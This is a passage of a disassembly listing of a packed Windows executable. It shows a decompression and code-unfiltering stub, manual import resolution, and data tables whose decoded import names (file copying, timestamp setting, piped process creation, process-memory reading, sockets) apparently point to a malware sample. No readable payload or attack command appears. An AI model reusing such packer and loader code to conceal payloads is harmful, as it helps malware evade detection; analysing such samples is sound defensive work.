		mov	edi, offset loc_3EAE51
		push	edi
		mov	esi, offset sub_3DFBE5


loc_3DFB1D:				; CODE XREF: start+4Aj
		xor	ecx, ecx
		inc	ecx
		dec	dword ptr [ebp+0Ch]


loc_3DFB23:				; CODE XREF: start+3Aj
		lea	ebx, [ebp+ecx*4+0A0h]
		call	esi ; sub_3DFBE5
		adc	cl, cl
		jnb	short loc_3DFB23
		inc	dword ptr [ebp+0Ch]
		xchg	eax, ecx
		stosb
		or	ecx, 0FFFFFFFFh


loc_3DFB38:				; CODE XREF: start+B2j
		lea	ebx, [ebp+ecx*4+18h]
		call	esi ; sub_3DFBE5
		jz	short loc_3DFB1D
		jecxz	short loc_3DFB59
		lea	ebx, [ebp+1Ch]
		call	esi ; sub_3DFBE5
		jz	short loc_3DFB59
		lea	ebx, [ebp+8A0h]
		call	sub_3DFC40
		mov	eax, [ebp+10h]
		jmp	short loc_3DFB9B
; ---------------------------------------------------------------------------


loc_3DFB59:				; CODE XREF: start+4Cj	start+53j
		lea	ebx, [ebp+4A0h]
		call	sub_3DFC40
		dec	ecx
		dec	ecx
		js	short loc_3DFBA8
		lea	ebx, [ebp+20h]
		jz	short loc_3DFB70
		add	ebx, 40h


loc_3DFB70:				; CODE XREF: start+77j
		xor	edx, edx
		inc	edx


loc_3DFB73:				; CODE XREF: start+8Aj
		call	sub_3DFC36
		lea	ecx, [eax+ecx*2]
		test	dl, 10h
		jz	short loc_3DFB73
		inc	ecx
		xchg	eax, ecx
		lea	ebx, [ebp+8A0h]
		call	sub_3DFC40
		cmp	eax, 800h
		sbb	ecx, 0FFFFFFFFh
		cmp	eax, 60h
		sbb	ecx, 0FFFFFFFFh


loc_3DFB9B:				; CODE XREF: start+63j
		mov	[ebp+10h], eax
		push	esi
		mov	esi, edi
		sub	esi, eax
		rep movsb
		pop	esi
		jmp	short loc_3DFB38
; ---------------------------------------------------------------------------


loc_3DFBA8:				; CODE XREF: start+72j
		mov	esi, offset word_3EB1AA
		mov	ebx, offset LoadLibraryA
		push	ebp


loc_3DFBB3:				; CODE XREF: start+D5j
		inc	esi
		lodsd
		test	eax, eax
		jz	short loc_3DFBE3
		xchg	eax, edi
		push	esi
		call	dword ptr [ebx]
		test	eax, eax
		jz	short loc_3DFBD7
		xchg	eax, ebp


loc_3DFBC2:				; CODE XREF: start+D1j	start+E1j
		lodsb
		test	al, al
		jnz	short loc_3DFBC2
		cmp	[esi], al
		jz	short loc_3DFBB3
		js	short loc_3DFBDB
		push	esi


loc_3DFBCE:				; CODE XREF: start+EDj
		push	ebp
		call	dword ptr [ebx+4]
		stosd
		test	eax, eax
		jnz	short loc_3DFBC2


loc_3DFBD7:				; CODE XREF: start+CBj
		inc	eax
		pop	ebx
		pop	ecx
		retn
; ---------------------------------------------------------------------------


loc_3DFBDB:				; CODE XREF: start+D7j
		inc	esi
		xor	eax, eax
		lodsw
		push	eax
		jmp	short loc_3DFBCE
; ---------------------------------------------------------------------------


loc_3DFBE3:				; CODE XREF: start+C3j
		pop	ebp
		retn
start		endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_3DFBE5	proc near		; CODE XREF: start+36p	start+48p ...
		push	ecx
		mov	eax, [ebp+8]
		shr	eax, 0Bh
		mov	ecx, [ebp+0]
		imul	eax, [ebx]
		mov	ecx, [ecx]
		bswap	ecx
		sub	ecx, [ebp+4]
		cmp	eax, ecx
		mov	ecx, [ebp+0Ch]
		jbe	short loc_3DFC11
		mov	[ebp+8], eax
		xor	eax, eax
		mov	ah, 8
		sub	eax, [ebx]
		shr	eax, cl
		add	[ebx], eax
		xor	eax, eax
		jmp	short loc_3DFC20
; ---------------------------------------------------------------------------


loc_3DFC11:				; CODE XREF: sub_3DFBE5+19j
		add	[ebp+4], eax
		sub	[ebp+8], eax
		mov	eax, [ebx]
		shr	eax, cl
		sub	[ebx], eax
		or	eax, 0FFFFFFFFh


loc_3DFC20:				; CODE XREF: sub_3DFBE5+2Aj
		test	byte ptr [ebp+0Bh], 0FFh
		jnz	short loc_3DFC31
		inc	dword ptr [ebp+0]
		shl	dword ptr [ebp+8], 8
		shl	dword ptr [ebp+4], 8


loc_3DFC31:				; CODE XREF: sub_3DFBE5+3Fj
		shr	eax, 1Fh
		pop	ecx
		retn
sub_3DFBE5	endp


; =============== S U B	R O U T	I N E =======================================



sub_3DFC36	proc near		; CODE XREF: start:loc_3DFB73p
					; sub_3DFC40:loc_3DFC46p ...
		push	ebx
		lea	ebx, [ebx+edx*4]
		call	esi ; sub_3DFBE5
		pop	ebx
		adc	dl, dl
		retn
sub_3DFC36	endp


; =============== S U B	R O U T	I N E =======================================



sub_3DFC40	proc near		; CODE XREF: start+5Bp	start+6Bp ...
		push	eax
		xor	ecx, ecx
		inc	ecx
		mov	edx, ecx


loc_3DFC46:				; CODE XREF: sub_3DFC40+16j
		call	sub_3DFC36
		call	sub_3DFC36
		lea	ecx, [eax+ecx*2]
		test	dl, 2
		jnz	short loc_3DFC46
		pop	eax
		retn
sub_3DFC40	endp

brattyty	ends

;
; Imports from KERNEL32.DLL
;
; ===========================================================================

; Segment type:	Externs
; _idata
; HMODULE __stdcall LoadLibraryA(LPCSTR	lpLibFileName)
		extrn LoadLibraryA:dword ; DATA	XREF: start+B9o
; FARPROC __stdcall GetProcAddress(HMODULE hModule,LPCSTR lpProcName)
		extrn GetProcAddress:dword


; ===========================================================================

; Segment type:	Pure code
; Segment permissions: Read/Write/Execute
brattyty	segment	para public 'CODE' use32
		assume cs:brattyty
		;org 3DFC66h
		assume es:nothing, ss:nothing, ds:brattyty, fs:nothing,	gs:nothing
		dw 0FC7Eh
		dd 0FC8C0000h, 0
		dd 454B0000h, 4C454E52h, 442E3233h, 4C4Ch, 64616F4Ch, 7262694Ch
		dd 41797261h, 65470000h, 6F725074h, 64644163h, 73736572h
		dd 0FC660000h, 2 dup(0)
		dd 0FC720000h, 0FC5A0000h, 56h dup(0)
off_3DFE08	dd offset dword_3F5580	; DATA XREF: starto
		dd offset loc_3F5657+1
		dd offset dword_3F56CC
		dd offset byte_3F56F5
		dd offset dword_3F5730
		dd offset dword_3F5888
		dd offset byte_3F5C9F
		dd offset byte_3F5CF3
		dd offset dword_3F5D70
; ---------------------------------------------------------------------------
		fisub	word ptr [ebx+3Fh]
		add	[eax+72h], bh
		aas
		add	[edx], ch
		jnb	short near ptr word_3DFE76
		add	[edx-2Fh], ah
		aas
		add	[ecx], bh
		jmp	short near ptr word_3DFE7E
; ---------------------------------------------------------------------------
		align 10h
		dd offset loc_3FF4B7
		dd offset loc_3FFB08+3
		dd offset word_3FFB3E
		dd offset dword_3FFD00
		dd offset byte_4008C7
		dd offset byte_400AE3
		dd offset byte_400CC7
		dd offset sub_401000
		dd offset dword_400FFC
		db 90h
		db 88h,	0A7h, 0CCh
		align 10h
		dd 0C4h
		db 2 dup(0)
word_3DFE76	dw 0			; CODE XREF: brattyty:003DFE35j
		dd 262h
		db 1Fh,	1Ah
word_3DFE7E	dw 0			; CODE XREF: brattyty:003DFE3Dj
		dd 1F4Eh, 2E0Ch, 2E26h,	2E34h, 2E3Ah, 2E56h, 2E5Dh, 2E7Eh
		dd 2E8Bh, 2E91h, 2E9Dh,	2EC2h, 2EFAh, 2F39h, 2FACh, 2FCBh
		dd 30CAh, 393Fh, 449Fh,	44A5h, 44B3h, 44C9h, 4506h, 4516h
		dd 451Ch, 4522h, 4540h,	4546h, 4564h, 456Ah, 4571h, 4589h
		dd 45A1h, 45AEh, 4627h,	462Dh, 4686h, 46BFh, 4745h, 47C2h
		dd 47CEh, 742D76B8h, 4DD0h, 4DD7h, 4DFEh, 4E0Eh, 4E2Dh
		dd 0AE2D85C6h, 79F9h, 7AF9h, 7D0Eh, 89CAh, 92DCh, 93D5h
		dd 93DBh, 93EDh, 93FCh,	940Eh, 9446h, 949Ch, 7474C28Dh
		dd 7474C2A4h, 0E9AEC2CBh, 95B9h, 9EC9h,	0A062h,	0A822h
		dd 742DD69Bh, 0A9E8h, 0AA54h, 0AA60h, 0B9B7h, 0C152h, 0C204h
		dd 0C315h, 0C35Ch, 0C48Ch, 0C49Ah, 0C4D5h, 0C4ECh, 0C4F3h
		dd 0C520h, 0C5D9h, 0C5F9h, 0C68Bh, 0C6ACh, 0C6BAh, 0C6EFh
		dd 0CF82h, 0D0C4h, 0D145h, 0D326h, 0D4D1h, 0D62Fh, 0D636h
		dd 0D63Fh, 0D654h, 0D678h, 0D681h, 0D6AAh, 0D6D9h, 0D6EBh
		dd 0D710h, 0D727h, 0D72Fh, 0D73Fh, 0D74Bh, 0D75Ah, 0D766h
		dd 0D775h, 0D77Bh, 0D78Eh, 0D795h, 0D7CCh, 0D7D3h, 0D7D9h
		dd 0D7EBh, 0D7FEh, 0D80Bh, 0D83Dh, 0D871h, 0D878h, 0D87Eh
		dd 0D88Eh, 0D894h, 0D8ACh, 0D8C3h, 0D8C9h, 0D8E4h, 0D8F3h
		dd 0D8F9h, 0D8FFh, 0D925h, 0D92Ch, 0D93Eh, 0DBD4h, 0DD5Ah
		dd 0E994h, 0EAB8h, 0ED5Dh, 0EFEBh, 0F280h, 0F28Fh, 0F29Eh
		dd 0F862h, 0FC6Eh, 0FF4Fh, 105C4h, 0F5DB339Ch, 0F5DB3463h
		dd 2D463475h, 2D46355Dh, 2D4635FFh, 0D4636B6h, 0BD4636BBh
		dd 0F5DB36E3h, 2D4636F1h, 11B79h, 11DC0h, 11DD9h, 12399h
		dd 0A07603BCh, 1420Dh, 142F7h, 14FC2h, 14FC8h, 15012h
		dd 1505Ah, 15069h, 1507Ah, 15097h, 150C0h, 150D1h, 150F0h
		dd 151A7h, 151CCh, 151FAh, 15299h, 15863h, 1586Ch, 15873h
		dd 15879h, 45D42AA9h, 15935h, 15A0Fh, 15A3Ch, 15A4Bh, 15A68h
		dd 15A6Fh, 15A8Fh, 15A95h, 15A9Eh, 37Eh, 209h, 68Dh, 437h
		dd 67Dh, 393h, 529h, 3A4h, 765h, 22Dh, 3EFh, 2AAh, 4BAh
		dd 2D9h, 406h, 4E6h, 654h, 576h, 643h, 304h, 49Bh, 544h
		dd 4CEh, 48Eh, 3E7h, 474h, 5D1h, 2FBh, 4FBh, 267h, 599h
		dd 343h, 4A9h, 457h, 306h, 252h, 413h, 3A0h, 3C8h, 314h
		dd 560h, 35Dh, 3C3h, 4DAh, 5A4h, 327h, 374h, 46Dh, 577h
		dd 486h, 53Ah, 255h, 576h, 464h, 4DBh, 48Bh, 3E7h, 3BCh
		dd 3C8h, 3ADh, 3EB8E6h,	3EB8E7h, 3EB8E9h, 3EB8EAh, 3EB8EBh
		dd 3EB8ECh, 3EB8EDh, 3EB8EEh, 3EB8F0h, 3EB8F1h,	3EB8F2h
		dd 3EB8F3h, 3EB8F4h, 3EB8F5h, 3EB8F6h, 3EB8F7h,	3EB8F8h
		dd 3EB8F9h, 3EB8FBh, 3EB8FCh, 3EB8FDh, 3EB8FEh,	3EB8FFh
		dd 3EB901h, 3EB902h, 3EB903h, 3EB905h, 3EB906h,	3EB907h
		dd 3EB909h, 3EB90Ah, 3EB90Bh, 3EB90Ch, 3EB90Dh,	3EB90Eh
		dd 3EB90Fh, 3EB911h, 3EB912h, 3EB914h, 3EB915h,	3EB916h
		dd 3EB917h, 3EB919h, 3EB91Bh, 3EB91Dh, 3EB91Fh,	3EB920h
		dd 3EB921h, 3EB922h, 3EB924h, 3EB925h, 3EB926h,	3EB927h
		dd 3EB928h, 3EB929h, 3EB92Ah, 3EB92Ch, 3EB92Dh,	3EB92Eh
		dd 3EB930h, 3EB931h, 3EB932h, 3EB933h, 3EB934h,	3EB936h
		dd 3EB937h, 3EB938h, 3EB939h, 3EB93Ah, 3EB93Bh,	3EB93Ch
		dd 3EB93Dh, 3EB93Eh, 3EB93Fh, 3EB940h, 3EB941h,	3EB942h
		dd 3EB944h, 3EB946h, 3EB948h, 3EB949h, 3EB94Ah,	3EB94Ch
		dd 3EB94Dh, 3EB94Eh, 3EB950h, 3EB951h, 3EB952h,	3EB954h
		dd 3EB955h, 3EB956h, 3EB958h, 3EB95Ah, 3EB95Bh,	3EB95Ch
		dd 3EB95Dh, 3EB95Eh, 3EB95Fh, 3EB961h, 3EB962h,	3EB964h
		dd 3EB965h, 3EB967h, 3EB968h, 3EB969h, 3EB96Ah,	3EB96Bh
		dd 3EB96Dh, 3EB96Fh, 3EB971h, 3EB972h, 3EB974h,	3EB975h
		dd 3EB977h, 3EB979h, 3EB97Bh, 3EB97Dh, 3EB97Eh,	3EB97Fh
		dd 3EB980h, 3EB981h, 3EB983h, 3EB985h, 3EB986h,	3EB987h
		dd 3EB988h, 3EB989h, 3EB98Ah, 3EB98Bh, 3EB98Ch,	3EB98Dh
		dd 3EB98Fh, 3EB991h, 3EB992h, 3EB994h, 3EB996h,	3EB997h
		dd 3EB999h, 3EB99Bh, 3EB99Dh, 3EB99Fh, 3EB9A1h,	3EB9A3h
		dd 3EB9A4h, 3EB9A6h, 3EB9A7h, 3EB9A9h, 3EB9AAh,	3EB9ABh
		dd 3EB9ACh, 3EB9AEh, 3EB9B0h, 3EB9B1h, 3EB9B2h,	3EB9B3h
		dd 3EB9B5h, 3EB9B7h, 3EB9B9h, 3EB9BAh, 3EB9BCh,	3EB9BEh
		dd 3EB9C0h, 3EB9C1h, 3EB9C2h, 3EB9C3h, 3EB9C4h,	3EB9C5h
		dd 3EB9C7h, 3EB9C9h, 3EB9CAh, 3EB9CBh, 3EB9CCh,	3EB9CDh
		dd 3EB9CEh, 3EB9CFh, 3EB9D1h, 3EB9D3h, 3EB9D5h,	3EB9D6h
		dd 3EB9D7h, 3EB9D9h, 3EB9DBh, 3EB9DDh, 3EB9DFh,	3EB9E1h
		dd 3EB9E3h, 3EB9E4h, 3EB9E5h, 3EB9E6h, 3EB9E8h,	3EB9EAh
		dd 3EB9ECh, 3EB9EEh, 3EB9EFh, 3EB9F0h, 3EB9F1h,	3EB9F3h
		dd 3EB9F5h, 3EB9F7h, 3EB9F9h, 3EB9FBh, 3EB9FDh,	3EB9FFh
		dd 3EBA00h, 3EBA01h, 3EBA02h, 3EBA03h, 3EBA04h,	3EBA06h
		dd 3EBA08h, 3EBA09h, 3EBA0Ah, 3EBA0Bh, 3EBA0Ch,	3EBA0Dh
		dd 3EBA0Eh, 3EBA0Fh, 3EBA11h, 3EBA13h, 3EBA15h,	3EBA17h
		dd 3EBA19h, 3EBA1Bh, 3EBA1Dh, 3EBA1Fh, 3EBA21h,	3EBA22h
		dd 3EBA23h, 3EBA24h, 3EBA25h, 3EBA27h, 3EBA29h,	3EBA2Bh
		dd 3EBA2Dh, 3EBA2Fh, 3EBA31h, 3EBA33h, 3EBA34h,	3EBA35h
		dd 3EBA36h, 3EBA38h, 3EBA3Ah, 3EBA3Ch, 3EBA3Eh,	3EBA40h
		dd 3EBA42h, 3EBA44h, 3EBA45h, 3EBA46h, 3EBA47h,	3EBA48h
		dd 3EBA49h, 3EBA4Ah, 3EBA4Bh, 3EBA4Dh, 3 dup(400h), 3C1h
		dd 3C3h, 50Eh, 3EAh
		dd 2 dup(400h),	1EFh, 288h, 4EFh, 4F6h,	34Ch, 3E0h, 400h
		dd 3C7h, 41Eh, 388h, 2 dup(400h), 4C2h,	597h, 4	dup(400h)
		dd 463h, 54Eh, 2ABh, 4C2h, 0Ah dup(400h), 57Ah,	61Bh, 2	dup(400h)
		dd 5B7h, 4E8h, 14h dup(400h), 486h, 469h, 454h,	494h, 4	dup(400h)
		dd 594h, 499h, 397h, 3C7h, 14h dup(400h), 441h,	389h, 48Eh
		dd 3C5h, 4 dup(400h), 43Dh, 420h, 41Eh,	421h, 0Ah dup(400h)
		dd 4DAh, 608h, 2 dup(400h), 5B0h, 5BAh,	4 dup(400h), 4B1h
		dd 3E0h, 3C3h, 3E0h, 2 dup(400h), 60Ch,	5A5h, 43Fh, 420h
		dd 57Ah, 4B7h, 2Ah dup(400h), 42Eh, 3E1h, 2 dup(400h)
		dd 3E2h, 460h, 0Ah dup(400h), 4C5h, 45Bh, 2 dup(400h)
		dd 495h, 3C3h, 14h dup(400h), 54Eh, 4A0h, 42Eh,	3BBh, 4	dup(400h)
		dd 416h, 449h, 340h, 43Bh, 0Ah dup(400h), 3E0h,	401h, 2	dup(400h)
		dd 2 dup(45Dh),	4 dup(400h), 32Ah, 4ADh, 47Bh, 41Eh, 2 dup(400h)
		dd 3E4h, 3FFh, 3CDh, 439h, 3DCh, 2D0h, 0DDh dup(400h)
		dd 280Dh dup(0)
		db 0
; ---------------------------------------------------------------------------


loc_3EAE51:				; DATA XREF: start+1Eo
		mov	edi, offset sub_401000
		mov	ebx, edi
		sub	ebx, 4
		mov	[ebp+58h], ebx
		xor	eax, eax
		mov	[ebp+5Ch], eax
		mov	[ebp+64h], eax
		inc	eax
		mov	[ebp+60h], eax
		mov	[ebp+68h], eax
		lea	ebx, [esi+58h]
		xor	ecx, ecx


loc_3EAE75:				; CODE XREF: brattyty:003EAE80j
		lodsd
		mov	[ebp+ecx*4+0], ebx
		add	ebx, eax
		inc	ecx
		cmp	cl, 16h
		jnz	short loc_3EAE75
		mov	esi, [ebp+4]
		xchg	esi, [ebp+0]
		push	edi
		lea	edi, [ebp+468h]
		lodsb
		movzx	ecx, al
		mov	ebx, offset word_3EB0AA


loc_3EAE98:				; CODE XREF: brattyty:loc_3EAEB7j
		mov	eax, esi
		stosd
		xor	eax, eax
		lodsb
		cmp	al, 66h
		jnz	short loc_3EAEA3
		lodsb


loc_3EAEA3:				; CODE XREF: brattyty:003EAEA0j
		cmp	al, 0Fh
		jnz	short loc_3EAEAA
		lodsb
		mov	ah, 1


loc_3EAEAA:				; CODE XREF: brattyty:003EAEA5j
		shr	eax, 1
		xlat
		jnb	short loc_3EAEB2
		shr	al, 4


loc_3EAEB2:				; CODE XREF: brattyty:003EAEADj
		test	al, 2
		jz	short loc_3EAEB7
		inc	esi


loc_3EAEB7:				; CODE XREF: brattyty:003EAEB4j
		loop	loc_3EAE98
		pop	edi


loc_3EAEBA:				; CODE XREF: brattyty:003EAF07j
					; brattyty:003EAFF5j ...
		xor	eax, eax
		cmp	[ebp+64h], eax
		jz	short loc_3EAEC5
		xchg	eax, [ebp+64h]
		xchg	eax, esi


loc_3EAEC5:				; CODE XREF: brattyty:003EAEBFj
		cmp	esi, [ebp+0]
		jz	loc_420000
		lodsb
		cmp	al, 0FFh
		jz	short loc_3EAEE0
		mov	[ebp+64h], esi
		movzx	eax, al
		mov	esi, [ebp+eax*4+468h]


loc_3EAEE0:				; CODE XREF: brattyty:003EAED1j
		xor	eax, eax
		cmp	[ebp+60h], eax
		lodsb
		jz	short loc_3EAF02
		cmp	al, 0CCh
		jz	short loc_3EAF02
		lea	ecx, [edi-4]
		sub	ecx, [ebp+58h]
		mov	ebx, [ebp+68h]
		mov	[ebp+ebx*4+68h], ecx


loc_3EAEF9:				; CODE XREF: brattyty:003EAEFCj
		inc	byte ptr [ebp+68h]
		jz	short loc_3EAEF9
		mov	byte ptr [ebp+60h], 0


loc_3EAF02:				; CODE XREF: brattyty:003EAEE6j
					; brattyty:003EAEEAj
		cmp	al, 0CEh
		jnz	short loc_3EAF09
		movsb
		jmp	short loc_3EAEBA
; ---------------------------------------------------------------------------


loc_3EAF09:				; CODE XREF: brattyty:003EAF04j
		stosb
		xor	edx, edx
		cmp	al, 66h
		jnz	short loc_3EAF14
		mov	dh, 1
		lodsb
		stosb


loc_3EAF14:				; CODE XREF: brattyty:003EAF0Ej
		mov	bl, al
		cmp	bl, 0CCh
		jz	short loc_3EAF23
		sub	bl, 0C2h
		cmp	bl, 1
		ja	short loc_3EAF27


loc_3EAF23:				; CODE XREF: brattyty:003EAF19j
		mov	byte ptr [ebp+60h], 1


loc_3EAF27:				; CODE XREF: brattyty:003EAF21j
		mov	ebx, offset word_3EB0AA
		cmp	al, 0Fh
		jnz	short loc_3EAF34
		lodsb
		stosb
		mov	ah, 1


loc_3EAF34:				; CODE XREF: brattyty:003EAF2Ej
		shr	eax, 1
		xlat
		jnb	short loc_3EAF3C
		shr	al, 4


loc_3EAF3C:				; CODE XREF: brattyty:003EAF37j
		and	al, 0Fh
		mov	cl, al
		test	cl, 2
		jz	loc_3EAFCE
		lodsb
		stosb
		mov	ch, al
		mov	al, cl
		and	al, 3
		cmp	al, 3
		jnz	short loc_3EAF67
		mov	cl, 2
		test	ch, 38h
		jnz	short loc_3EAF67
		mov	bl, [edi-2]
		test	bl, 8
		jnz	short loc_3EAF67
		add	cl, 4


loc_3EAF67:				; CODE XREF: brattyty:003EAF53j
					; brattyty:003EAF5Aj ...
		and	ch, 0C7h
		cmp	ch, 0C4h
		jz	short loc_3EAF7E
		mov	al, ch
		and	al, 7
		cmp	al, 4
		jnz	short loc_3EAF7E
		xchg	esi, [ebp+54h]
		movsb
		xchg	esi, [ebp+54h]


loc_3EAF7E:				; CODE XREF: brattyty:003EAF6Dj
					; brattyty:003EAF75j
		mov	dl, ch
		and	dl, 0C0h
		cmp	dl, 40h
		jnz	short loc_3EAF97
		movzx	ebx, ch
		and	bl, 7
		xchg	esi, [ebp+ebx*4+4]
		movsb
		xchg	esi, [ebp+ebx*4+4]


loc_3EAF97:				; CODE XREF: brattyty:003EAF86j
		cmp	dl, 80h
		jz	short loc_3EAFAE
		cmp	ch, 5
		jz	short loc_3EAFAE
		test	dl, dl
		jnz	short loc_3EAFCE
		mov	al, [edi-1]
		and	al, 7
		cmp	al, 5
		jnz	short loc_3EAFCE


loc_3EAFAE:				; CODE XREF: brattyty:003EAF9Aj
					; brattyty:003EAF9Fj
		xor	ebx, ebx
		cmp	ch, 5
		jnz	short loc_3EAFB6
		inc	ebx


loc_3EAFB6:				; CODE XREF: brattyty:003EAFB3j
		xchg	esi, [ebp+ebx*4+34h]
		lodsd
		dec	esi
		xchg	esi, [ebp+ebx*4+34h]
		xchg	esi, [ebp+48h]
		shl	eax, 8
		lodsb
		xchg	esi, [ebp+48h]
		ror	eax, 8
		stosd


loc_3EAFCE:				; CODE XREF: brattyty:003EAF43j
					; brattyty:003EAFA3j ...
		mov	al, cl
		and	al, 3
		cmp	al, 1
		jnz	loc_3EB070
		shr	cl, 2
		jnz	short loc_3EAFFA
		xchg	esi, [ebp+3Ch]
		lodsd
		dec	esi
		xchg	esi, [ebp+3Ch]
		xchg	esi, [ebp+4Ch]
		shl	eax, 8
		lodsb
		xchg	esi, [ebp+4Ch]
		ror	eax, 8
		stosd
		jmp	loc_3EAEBA
; ---------------------------------------------------------------------------


loc_3EAFFA:				; CODE XREF: brattyty:003EAFDDj
		dec	cl
		jnz	short loc_3EB00A
		xchg	esi, [ebp+24h]
		movsb
		xchg	esi, [ebp+24h]
		jmp	loc_3EAEBA
; ---------------------------------------------------------------------------


loc_3EB00A:				; CODE XREF: brattyty:003EAFFCj
		xor	ebx, ebx
		cmp	byte ptr [edi-1], 0E8h
		jz	short loc_3EB033
		xchg	esi, [ebp+50h]
		lodsw
		xchg	esi, [ebp+50h]
		xchg	esi, [ebp+44h]
		shl	eax, 10h
		lodsw
		xchg	esi, [ebp+44h]
		shr	eax, 1
		jnb	short loc_3EB02B
		not	eax


loc_3EB02B:				; CODE XREF: brattyty:003EB027j
		add	eax, [ebp+5Ch]
		mov	[ebp+5Ch], eax
		jmp	short loc_3EB065
; ---------------------------------------------------------------------------


loc_3EB033:				; CODE XREF: brattyty:003EB010j
		xor	eax, eax
		xchg	esi, [ebp+40h]
		lodsb
		xchg	esi, [ebp+40h]
		test	al, al
		jz	short loc_3EB046
		mov	eax, [ebp+eax*4+68h]
		jmp	short loc_3EB065
; ---------------------------------------------------------------------------


loc_3EB046:				; CODE XREF: brattyty:003EB03Ej
		xchg	esi, [ebp+50h]
		lodsw
		xchg	esi, [ebp+50h]
		xchg	esi, [ebp+40h]
		shl	eax, 10h
		lodsw
		xchg	esi, [ebp+40h]
		mov	ebx, [ebp+68h]
		mov	[ebp+ebx*4+68h], eax


loc_3EB060:				; CODE XREF: brattyty:003EB063j
		inc	byte ptr [ebp+68h]
		jz	short loc_3EB060


loc_3EB065:				; CODE XREF: brattyty:003EB031j
					; brattyty:003EB044j
		sub	eax, edi
		add	eax, [ebp+58h]
		stosd
		jmp	loc_3EAEBA
; ---------------------------------------------------------------------------


loc_3EB070:				; CODE XREF: brattyty:003EAFD4j
		shr	cl, 2
		jz	loc_3EAEBA
		dec	cl
		jnz	short loc_3EB089
		xchg	esi, [ebp+28h]
		movsb
		xchg	esi, [ebp+28h]
		jmp	loc_3EAEBA
; ---------------------------------------------------------------------------


loc_3EB089:				; CODE XREF: brattyty:003EB07Bj
		dec	cl
		jnz	short loc_3EB09D
		test	dh, dh
		jnz	short loc_3EB09D
		xchg	esi, [ebp+30h]
		movsd
		xchg	esi, [ebp+30h]
		jmp	loc_3EAEBA
; ---------------------------------------------------------------------------


loc_3EB09D:				; CODE XREF: brattyty:003EB08Bj
					; brattyty:003EB08Fj
		xchg	esi, [ebp+2Ch]
		movsw
		xchg	esi, [ebp+2Ch]
		jmp	loc_3EAEBA
; ---------------------------------------------------------------------------
word_3EB0AA	dw 2222h		; DATA XREF: brattyty:003EAE93o
					; brattyty:loc_3EAF27o
		dd 7 dup(22220084h), 84h, 3 dup(0)
		dd 22000000h, 64A80000h, 55550000h, 55555555h, 66A65555h
		dd 22222222h, 2222h, 0
		dd 11110000h, 840000h, 44440000h, 88884444h, 0C668888h
		dd 0C00A622h, 22220040h, 22220044h, 55552222h, 51DD4444h
		dd 0
		dd 2 dup(3300h), 0
		dd 22220000h, 2222h, 22220000h,	3 dup(0)
		dd 22220000h, 22222222h, 2222h,	0
		dd 22220000h, 22222222h, 66662222h, 222h, 0DDDD2200h, 0DDDDDDDDh
		dd 2222DDDDh, 22222222h, 20002222h, 20002226h, 22222026h
		dd 20002222h, 22222222h, 2222h,	22220000h, 5 dup(22222222h)
		db 22h,	2
word_3EB1AA	dw 1400h		; DATA XREF: start:loc_3DFBA8o
		dd 4D004171h, 52435653h, 6C642E54h, 695F006Ch, 616F74h
		dd 7274735Fh, 6D63696Eh, 435F0070h, 68547878h, 45776F72h
		dd 70656378h, 6E6F6974h, 313F3F00h, 65707974h, 666E695Fh
		dd 5540406Fh, 58404541h, 5F5F005Ah, 46787843h, 656D6172h
		dd 646E6148h, 72656Ch, 6D6D656Dh, 65766Fh, 63727473h, 5F007970h
		dd 72746F72h, 6F725F00h, 5F006C74h, 706E7376h, 746E6972h
		dd 656D0066h, 706D636Dh, 6C6F7400h, 7265776Fh, 72747300h
		dd 706D63h, 6E697270h, 3F006674h, 5940323Fh, 58415041h
		dd 5A4049h, 40333F3Fh, 50584159h, 5A405841h, 70737600h
		dd 746E6972h, 625F0066h, 6E696765h, 65726874h, 78656461h
		dd 78655F00h, 74706563h, 6E61685Fh, 72656C64h, 65630033h
		dd 5F006C69h, 6C6F7466h, 69786500h, 65720074h, 6F6C6C61h
		dd 74730063h, 6D636E72h, 735F0070h, 6972706Eh, 66746Eh
		dd 73727473h, 73007274h, 6E616373h, 74610066h, 6600696Fh
		dd 6B656573h, 65726600h, 66006461h, 6E65706Fh, 6C636600h
		dd 65736Fh, 69727766h, 66006574h, 6C6C6574h, 72747300h
		dd 746163h, 736D656Dh, 63007465h, 6B636F6Ch, 72707300h
		dd 66746E69h, 72747300h, 7970636Eh, 6D656D00h, 797063h
		dd 65657266h, 6C616D00h, 636F6Ch, 6C727473h, 5F006E65h
		dd 63727473h, 69706Dh, 4171F400h, 32535700h, 2E32335Fh
		dd 6C6C64h, 4FFh, 97FFh, 1FFh, 16FFh, 15FFh, 2FFh, 13FFh
		dd 5FFh, 0AFFh,	17FFh, 0CFFh, 33FFh, 6FFFh, 38FFh, 12FFh
		dd 3FFh, 70FFh,	9FFh, 34FFh, 6FFh, 0BFFh, 10FFh, 8FFh
		dd 14FFh, 74FFh, 11FFh,	49415357h, 6C74636Fh, 39FF00h
		dd 73FF00h, 0DFF00h, 70300000h,	454B0041h, 4C454E52h, 642E3233h
		dd 47006C6Ch, 65567465h, 6F697372h, 4178456Eh, 74654700h
		dd 61636F4Ch, 6E49656Ch, 416F66h, 43746553h, 65727275h
		dd 6944746Eh, 74636572h, 4179726Fh, 74736C00h, 6E656C72h
		dd 65470041h, 6E695774h, 73776F64h, 65726944h, 726F7463h
		dd 43004179h, 74616572h, 6C694665h, 47004165h, 69467465h
		dd 6954656Ch, 5300656Dh, 69467465h, 6954656Ch, 4700656Dh
		dd 79537465h, 6D657473h, 65726944h, 726F7463h, 4C004179h
		dd 4C64616Fh, 61726269h, 417972h, 50746547h, 41636F72h
		dd 65726464h, 45007373h, 50746978h, 65636F72h, 43007373h
		dd 4679706Fh, 41656C69h, 74654700h, 7473614Ch, 6F727245h
		dd 72570072h, 46657469h, 656C69h, 72616553h, 61506863h
		dd 416874h, 61657243h, 69506574h, 47006570h, 75437465h
		dd 6E657272h, 6F725074h, 73736563h, 74654700h, 706D6F43h
		dd 72657475h, 656D614Eh, 72430041h, 65746165h, 636F7250h
		dd 41737365h, 65655000h, 6D614E6Bh, 69506465h, 47006570h
		dd 78457465h, 6F437469h, 72506564h, 7365636Fh, 65520073h
		dd 69466461h, 4700656Ch, 6F4D7465h, 656C7564h, 646E6148h
		dd 41656Ch, 4D746547h, 6C75646Fh, 6C694665h, 6D614E65h
		dd 4F004165h, 506E6570h, 65636F72h, 52007373h, 50646165h
		dd 65636F72h, 654D7373h, 79726F6Dh, 656C5300h, 54007065h
		dd 696D7265h, 6574616Eh, 636F7250h, 737365h, 736F6C43h
		dd 6E614865h, 656C64h, 46746553h, 41656C69h, 69727474h
		dd 65747562h, 44004173h, 74656C65h, 6C694665h, 4C004165h
